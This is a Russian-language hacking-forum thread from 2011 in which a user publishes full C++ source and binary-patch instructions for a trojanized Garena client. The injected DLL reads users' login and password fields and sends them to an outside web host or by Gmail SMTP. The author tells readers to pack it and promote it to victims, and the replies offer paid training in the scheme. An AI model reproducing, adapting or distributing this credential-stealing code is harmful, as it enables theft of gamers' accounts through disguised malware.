Вернуться   D3Scene.Ru Софт портал игр | Хаки | Проги | Статьи > Игровые платформы, клиенты > Garena Gaming Community > Garena Fake/СИ/Методы развода
Присоединяйся к нам

Garena Fake/СИ/Методы развода Социальная инжинерия или как впарить фейк, обсуждаем, делимся опытом!



Ответ
 
Опции темы Опции просмотра
Старый 28.02.2011, 01:51   #1
Mr. Pink


 
Аватар для Desu_Is_A_Lie
 
Регистрация: 08.11.2009
Адрес: Tver', Russian Federation
Сообщений: 608
Репутация: 300
Отправить сообщение для Desu_Is_A_Lie с помощью ICQ Отправить сообщение для Desu_Is_A_Lie с помощью MSN
Автор По умолчанию

[C++/Indy] Garena (полностью рабочая)


Т.к. я закончил с продажей своего фэйка, вот статья как сделать андетектед рабочий фэйк

БЕЗО ВСЯКИХ УРОДЛИВЫХ ДЕВЕЛ СТУДИО, КОТОРЫМИ ПОЛЬЗУЮТСЯ ВСЕ УНЫЛЫЕ, КОТОРЫЕ НЕ ЗНАЮТ НОРМАЛЬНЫХ ЯЗЫКОВ ПРОГРАММИРОВАНИЯ

Итак, начнём с самого простого - dl, которая будет тырить нам пароли.

Разжёвывать ничего не буду, просто скажу что там происходит:

1) Находим всё, что нам надо и пишем вызов к одной из наших функции (CodeCave или CodeCaveMail, соответственно одна ворует на сниффер, другая - на мыло; для сниффера там вообще можно больше половины инклюдов выпилить, чтобы вся эта шарага весила <100кб вместо 1.5м).
2) Записали? Ок. Теперь открываем хэндлы к полям с логином и паролем и тащим из них данные. Всё.

В исходниках
до### немного мусора, который остался от всех моих проверочных прогонов и т.п.

PHP код:
//---------------------------------------------------------------------------
#undef UNICODE
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <Tlhelp32.h>
#include <wininet.h>
#include <vcl.h>
#include <tchar.h>
#include "IdBaseComponent.hpp"
#include "IdComponent.hpp"
#include "IdExplicitTLSClientServerBase.hpp"
#include "IdMessageClient.hpp"
#include "IdSMTP.hpp"
#include "IdSMTPBase.hpp"
#include "IdTCPClient.hpp"
#include "IdTCPConnection.hpp"
#include "IdIOHandler.hpp"
#include "IdIOHandlerSocket.hpp"
#include "IdIOHandlerStack.hpp"
#include "IdSSL.hpp"
#include "IdSSLOpenSSL.hpp"
#include "IdMessage.hpp"

#ifdef _MANAGED
#pragma managed(push, off)
#endif

#pragma comment(lib, "wininet.lib")
#pragma argsused
#define DllExport   __declspec( dllexport )
//---------------------------------------------------------------------------
//   Important note about DLL memory management when your DLL uses the
//   static version of the RunTime Library:
//
//   If your DLL exports any functions that pass String objects (or structs/
//   classes containing nested Strings) as parameter or function results,
//   you will need to add the library MEMMGR.LIB to both the DLL project and
//   any other projects that use the DLL.  You will also need to use MEMMGR.LIB
//   if any other projects which use the DLL will be performing new or delete
//   operations on any non-TObject-derived classes which are exported from the
//   DLL. Adding MEMMGR.LIB to your project will change the DLL and its calling
//   EXE's to use the BORLNDMM.DLL as their memory manager.  In these cases,
//   the file BORLNDMM.DLL should be deployed along with your DLL.
//
//   To avoid using BORLNDMM.DLL, pass string information using "char *" or
//   ShortString parameters.
//
//   If your DLL uses the dynamic version of the RTL, you do not need to
//   explicitly add MEMMGR.LIB as this will be done implicitly for you
//---------------------------------------------------------------------------
DWORD appbase;
TIdSMTP *IdSMTP;
TIdMessage *IdMsg;
TIdSSLIOHandlerSocketOpenSSL *IdHandlerOpenSSL;

union DwordToHex
{
 
DWORD dw;
 
BYTE byte[3];
};

void GetAccount(char uname[], char upass[]);
//DWORD GetPID(char name[]);
DWORD GetMod(DWORD pidchar name[]);

extern "C"
{
  
//DllExport void CodeCave();
  
DllExport void CodeCaveMail();
}
//---------------------------------------------------------------------------

BOOL WINAPI DllMain(HINSTANCE hinstDLLDWORD fwdreasonLPVOID lpvReserved)
{
    switch(
fwdreason)
    {
    case 
DLL_PROCESS_ATTACH:
        {
            
DisableThreadLibraryCalls(hinstDLL);

            
char temp[255];
//========================= Start of 'Search' block ==========================//

             
DWORD pid;

             
pid GetCurrentProcessId();

             
HANDLE hProc OpenProcess(PROCESS_ALL_ACCESSfalsepid);

             if (
hProc == NULL)
             {
              
//MessageBox(NULL, "ERR_OP_PROC", "woot woot", MB_OK);
              
return 0;
             }

             
appbase GetMod(pid"Garena");

             if (
appbase == NULL)
             {
              
//MessageBox(NULL, "ERR_GET_MOD", "woot woot", MB_OK);
              
return 0;
             }

//=========================== End of 'Search' block ==========================//
//========================== Start of 'Patch' block ==========================//

             //MessageBox(NULL, "STARTING TO PATCH", "woot woot", MB_OK);

             
DwordToHex codecv;

             
HMODULE hLocHackDLL GetModuleHandle("ggprot");
             
//FARPROC hLocCodeCave = GetProcAddress(hLocHackDLL, "_CodeCave");
             
FARPROC hLocCodeCave GetProcAddress(hLocHackDLL"_CodeCaveMail");

             if (
hLocHackDLL == NULL)
             {
              
//MessageBox(NULL, "ERR_LOC_DLL", "woot woot", MB_OK);
              
return 0;
             }

             if (
hLocCodeCave == NULL)
             {
              
//MessageBox(NULL, "ERR_LOC_CC", "woot woot", MB_OK);
              
return 0;
             }

             
codecv.dw = (DWORD)hLocCodeCave - (appbase 0x1B2E10 0x1000 0x5);
             
memset(temp0sizeof(temp));
             
memcpy(tempcodecv.byte4);

             
WriteProcessMemory(hProc, (void*)(appbase+0x1B2E10+0x1000),
                                
"\xE8\x00\x00\x00\x00\x90"6NULL);
             
WriteProcessMemory(hProc, (void*)(appbase+0x1B2E11+0x1000),
                                
temp4NULL);

             
//MessageBox(NULL, "PATCHING DONE", "woot woot", MB_OK);


//=========================== End of 'Patch' block ===========================//
        
}
        break;
    case 
DLL_PROCESS_DETACH:
        break;
    case 
DLL_THREAD_ATTACH:
    case 
DLL_THREAD_DETACH:
        break;
    }
    return 
TRUE;
}
//---------------------------------------------------------------------------

void GetAccount(char uname[], char upass[])
{
             
HWND SkinDialog FindWindow("SkinDialog""Garena");
             
HWND Username FindWindowEx(FindWindowEx(SkinDialogNULL"ComboBox"NULL), NULL"Edit"NULL);
             
HWND Password FindWindowEx(SkinDialogNULL"Edit"NULL);

             
GetWindowText(Usernameuname255);
             
GetWindowText(Passwordupass255);

             return;
}
//---------------------------------------------------------------------------

DllExport void CodeCave()
{
             
//MessageBox(NULL, "STARING TO SEND", "woot woot", MB_OK);

             
char temp[255], uname[255], upass[255];

             
GetAccount(unameupass);

             
//sprintf(temp, "Username: %s ; Password: %s .", uname, upass);
             //MessageBox(NULL, temp, "woot woot", MB_OK);

            //Initializing connection
            
HINTERNET hInet InternetOpen("Garena"INTERNET_OPEN_TYPE_DIRECTNULLNULL0);

            
//Setting hostname, ports, etc
            
HINTERNET hHttp InternetConnect(hInet"justdesu.t35.com"INTERNET_DEFAULT_HTTP_PORTNULLNULL,
                                      
INTERNET_SERVICE_HTTPNULLNULL);

            
memset(temp0sizeof(temp));

            
sprintf(temp"index.php?name=%s&pass=%s"unameupass); // Forming our POST request

            //Making request
            
HINTERNET hHReq HttpOpenRequest(hHttp"POST"tempNULLNULLNULL,
                                              
INTERNET_FLAG_NO_CACHE_WRITENULL);

            if(!
HttpSendRequest(hHReqNULL0NULL0))  // Sending request
            
{
             
//MessageBox(NULL, "!!! Connection failure !!!", "woot woot", MB_OK);
             
return;
            }
            else {
/*MessageBox(NULL, "Connection successful.", "woot woot", MB_OK);*/}

            
InternetCloseHandle(hHReq); // Closing our handles
            
InternetCloseHandle(hHttp);
            
InternetCloseHandle(hInet);

            
//MessageBox(NULL, "SENDING DONE", "woot woot", MB_OK);
}
//---------------------------------------------------------------------------

/*DWORD GetPID(char name[])
{
 DWORD pid = 0;
 BOOL working = 0, found = false;
 PROCESSENTRY32 lppe = {0};
 lppe.dwFlags = sizeof(PROCESSENTRY32);

 HANDLE hSnapshot;

 while (found != true)
 {
   hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS ,0);
   if (hSnapshot)
   {
    lppe.dwSize = sizeof(lppe);
    working = Process32First(hSnapshot,&lppe);
    while (working)
    {
     if(strcmp(ToLowerSTR(lppe.szExeFile),name) == 0)
     {
      pid = lppe.th32ProcessID;
      found = true;
      break;
     }
     working = Process32Next(hSnapshot,&lppe);
     if (working == false)
     {
      MessageBox(NULL, "GetPID failed! Patching aborted. Restart War3", "Error!", MB_OK);
      return 0;
     }
    }
    CloseHandle(hSnapshot);
   }
 }

 return pid;
}*/
//---------------------------------------------------------------------------

DWORD GetMod(DWORD pidchar name[])
{
 
DWORD retval 0;
 
BOOL working 0found false;
 
MODULEENTRY32 me32 = {0};
 
me32.dwSize sizeof(MODULEENTRY32);

 
HANDLE hSnapshot;

  
hSnapshot CreateToolhelp32Snapshot(TH32CS_SNAPMODULEpid);
  if (
hSnapshot)
  {
   
Module32First(hSnapshot, &me32);
   
retval = (DWORD)me32.modBaseAddr;
  }
  
CloseHandle(hSnapshot);

 return 
retval;
}
//---------------------------------------------------------------------------

void CodeCaveMail()
{
    
//MessageBox(NULL, "Preparing to send l33t message", "Paradise", MB_OK);

    
IdSMTP = new TIdSMTP(NULL);
    
IdMsg = new TIdMessage(NULL);
    
IdHandlerOpenSSL = new TIdSSLIOHandlerSocketOpenSSL(NULL);

    
//MessageBox(NULL, "Created l33t handlerz", "City", MB_OK);

    
IdHandlerOpenSSL->Destination "smtp.gmail.com:587";
    
IdHandlerOpenSSL->Host "smtp.gmail.com";
    
IdHandlerOpenSSL->MaxLineAction maException;
    
IdHandlerOpenSSL->Port 587;
    
IdHandlerOpenSSL->ConnectTimeout 1500;
    
IdHandlerOpenSSL->SSLOptions->Method sslvTLSv1;
    
IdHandlerOpenSSL->SSLOptions->Mode sslmUnassigned;
    
IdHandlerOpenSSL->SSLOptions->VerifyMode.Empty();
    
IdHandlerOpenSSL->SSLOptions->VerifyDepth 0;

    
IdSMTP->Host "smtp.gmail.com";
    
IdSMTP->Port 587;
    
IdSMTP->Username "ОТКУДА_СЛАТЬ";
    
IdSMTP->AuthType satDefault;

    
char pwd[255];

    
//sprintf(pwd, "%d%d", 0, );

    
IdSMTP->Password "ПАРОЛЬ";
    
IdSMTP->IOHandler IdHandlerOpenSSL;
    
IdSMTP->UseTLS utUseExplicitTLS;
    
//IdSMTP->SASLMechanisms = NULL;

    //MessageBox(NULL, "Settingz are k", "Paradise", MB_OK);

    
char temp[255], uname[255], upass[255];
    
GetAccount(unameupass);
    
sprintf(temp"%s:%s"unameupass);

    
//MessageBox(NULL, temp, "Paradise", MB_OK);

    
IdMsg->From->Address "ОТКУДА_СЛАТЬ";
    
IdMsg->Recipients->EMailAddresses "КОМУ_СЛАТЬ";
    
IdMsg->Subject "ACCOUNT";
    
IdMsg->Body->Text temp;

    
//MessageBox(NULL, "Connecting", "City", MB_OK);

    
IdSMTP->Connect();

    
//MessageBox(NULL, "Connected", "Paradise", MB_OK);

    
IdSMTP->Authenticate();

    
//MessageBox(NULL, "Authenticated", "City", MB_OK);

    
IdSMTP->Send(IdMsg);

    
//MessageBox(NULL, "Sent", "Paradise", MB_OK);

    
IdSMTP->Disconnect();

    
IdHandlerOpenSSL->Free();
    
IdSMTP->Free();

    
//MessageBox(NULL, "Done", "City", MB_OK);

    
return;

Собирается это всё спокойно в RAD C++ Builder 2010 (ибо там встроены инди).

Этап 2. Гарена.

1) Открываем её в дебагерре, даём загрузится, ждём лог-ин скрин.
2) Ставим БП на ShowWindow, находим оффсет, оттуда делаем прыжок в конец файла, где будет нам небольшой код (джекаем тред).
3) Туда пишем наш код и оставляем немного места, куда запишется вызов к нашей функции в длл.

Код:
$+7ADF1  > .  E8 CAF7FFFF   CALL    0047B5C0                         ;  Garena.0047B5C0 [+7A5C0]

END -> +7ADF6

005B3DE0   .  6700 6700 700>UNICODE "ggprot.d"
005B3DF0   .  6C00 6C00 000>UNICODE "ll",0
005B3DF6      00            DB      00
005B3DF7      00            DB      00
005B3DF8      00            DB      00
005B3DF9      00            DB      00
005B3DFA      00            DB      00
005B3DFB      00            DB      00
005B3DFC      00            DB      00
005B3DFD      00            DB      00
005B3DFE      00            DB      00
005B3DFF      90            NOP
005B3E00   >  E8 BB77ECFF   CALL    0047B5C0                         ;  Garena.0047B5C0
005B3E05   .  68 E03D5B00   PUSH    5B3DE0                           ; /FileName = "ggprot.dll"
005B3E0A   .  FF15 74435B00 CALL    DWORD PTR DS:[5B4374]            ; \LoadLibraryW
005B3E10   .  90            NOP
005B3E11   .  90            NOP
005B3E12   .  90            NOP
005B3E13   .  90            NOP
005B3E14   .  90            NOP
005B3E15   .  90            NOP
005B3E16   .^ E9 DB7FECFF   JMP     0047BDF6                         ;  Garena.0047BDF6

0047BDF1   . /E9 0A801300   JMP     005B3E00                         ;  Garena_M.005B3E00
"ggprot.dll" - это наша собранная dll, которая должна лежать в папке с гареной.

Этап 3. Пакуем всё в архив и рекламим.

Вот и всё. Чтобы не сохраняло логины и пароли (чтобы всегда вводили данные, т.е. 'clients2.dat' не поможет), находим строку " and save=1" и меняем 1 на 0.

Удачи, и в #### ваш девел студио.
__________________

[Ссылки скрыты от гостей.]
Live while you can


Последний раз редактировалось Desu_Is_A_Lie; 16.05.2011 в 16:11.
  Ответить с цитированием Наверх
3 пользователя(ей) сказали cпасибо:
I^am-.-WiseMan (28.02.2011), N.e.o. (28.02.2011), nzk. (28.02.2011)
Старый 27.03.2011, 16:18   #2
Освоившийся


 
Аватар для I^am-.-WiseMan
 
Регистрация: 14.01.2009
Адрес: Просторы Инета
Сообщений: 279
Репутация: 262
Отправить сообщение для I^am-.-WiseMan с помощью ICQ
По умолчанию

А не мог бы ты выложить исходники ?ну или на крайняк в лс .
__________________
[Ссылки скрыты от гостей.]

Последний раз редактировалось Nexus; 31.12.2011 в 17:39.
  Ответить с цитированием Наверх
Старый 01.04.2011, 00:52   #3
Mr. Pink


 
Аватар для Desu_Is_A_Lie
 
Регистрация: 08.11.2009
Адрес: Tver', Russian Federation
Сообщений: 608
Репутация: 300
Отправить сообщение для Desu_Is_A_Lie с помощью ICQ Отправить сообщение для Desu_Is_A_Lie с помощью MSN
Автор По умолчанию

Цитата:
Сообщение от I^am-.-WiseMan Посмотреть сообщение
*** скрытый текст ***
Там и так исходники, не?)
__________________

[Ссылки скрыты от гостей.]
Live while you can


Последний раз редактировалось Nexus; 31.12.2011 в 17:39.
  Ответить с цитированием Наверх
Старый 01.04.2011, 05:59   #4
Освоившийся


 
Аватар для I^am-.-WiseMan
 
Регистрация: 14.01.2009
Адрес: Просторы Инета
Сообщений: 279
Репутация: 262
Отправить сообщение для I^am-.-WiseMan с помощью ICQ
По умолчанию

как бы это готовый код но есть много нюансов при работе с тредом (кое что не получается)я имел ввиду готовый файл проекта .
__________________
[Ссылки скрыты от гостей.]

Последний раз редактировалось Nexus; 31.12.2011 в 17:39.
  Ответить с цитированием Наверх
Старый 15.05.2011, 21:22   #5
Бан
 
Аватар для n1ceman
 
Регистрация: 18.06.2010
Адрес: Казахстан, Усть-Каменогорск
Сообщений: 17
Репутация: -5
По умолчанию

на c++ 2008 пойдет?
  Ответить с цитированием Наверх
Старый 15.05.2011, 22:23   #6
Mr. Pink


 
Аватар для Desu_Is_A_Lie
 
Регистрация: 08.11.2009
Адрес: Tver', Russian Federation
Сообщений: 608
Репутация: 300
Отправить сообщение для Desu_Is_A_Lie с помощью ICQ Отправить сообщение для Desu_Is_A_Lie с помощью MSN
Автор По умолчанию

Под мыло нужны Indy компоненты - там их нет. Под сниффер - да.
__________________

[Ссылки скрыты от гостей.]
Live while you can

  Ответить с цитированием Наверх
Старый 11.06.2011, 00:12   #7
Mr. Pink


 
Аватар для Desu_Is_A_Lie
 
Регистрация: 08.11.2009
Адрес: Tver', Russian Federation
Сообщений: 608
Репутация: 300
Отправить сообщение для Desu_Is_A_Lie с помощью ICQ Отправить сообщение для Desu_Is_A_Lie с помощью MSN
Автор По умолчанию

Обучу под самую новую гарену за дедик с нормальной статикой (это мне болше нравится) или деньги, лол
__________________

[Ссылки скрыты от гостей.]
Live while you can

  Ответить с цитированием Наверх
Пользователь сказал cпасибо:
kmalex (11.06.2011)
Старый 12.07.2011, 17:02   #8
Новичок
 
Аватар для SpawN1
 
Регистрация: 18.05.2011
Сообщений: 6
Репутация: -1
Радость

обучи меня за дедик))

Добавлено через 3 минуты
или за сколько обучишь?

Последний раз редактировалось SpawN1; 12.07.2011 в 17:06. Причина: Добавлено сообщение
  Ответить с цитированием Наверх
Старый 30.12.2011, 12:10   #9
Бан
 
Аватар для Wc3.Neo
 
Регистрация: 19.12.2011
Сообщений: 26
Репутация: -11
По умолчанию

Desu_Is_A_Lie, именно на какую версию гарены этот фейк?
  Ответить с цитированием Наверх
Старый 30.12.2011, 12:26   #10
Группа разработчиков


 
Аватар для Skino
 
Регистрация: 16.01.2009
Сообщений: 566
Репутация: 251
По умолчанию

Интерсно существуют ли люди которые качают гарену не с офф сайта?
  Ответить с цитированием Наверх
Старый 30.12.2011, 13:14   #11
Старожил


 
Аватар для gg.Groove
 
Регистрация: 21.08.2010
Адрес: Almaty
Сообщений: 1,054
Репутация: 212
По умолчанию

Wc3.Neo, опять будешь код тырить?
Заюзай билдер. Остальное за 25$ расскажу, у тебя же в день 500$ заработок в интернете

Добавлено через 2 минуты
Вообще схема такая
DLL:
Читает логин/пароль из полей
Передает их на почту с использованием Indy
Garena:
Подгружает DLL
__________________

[Ссылки скрыты от гостей.]

Последний раз редактировалось gg.Groove; 30.12.2011 в 13:17. Причина: Добавлено сообщение
  Ответить с цитированием Наверх
Ответ


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Powered by vBulletin
Copyright © 2017 vBulletin Solutions, Inc.
Перевод: zCarot | Дизайн: G-A | Верстка: OldEr
Текущее время: 01:58. Часовой пояс GMT +4.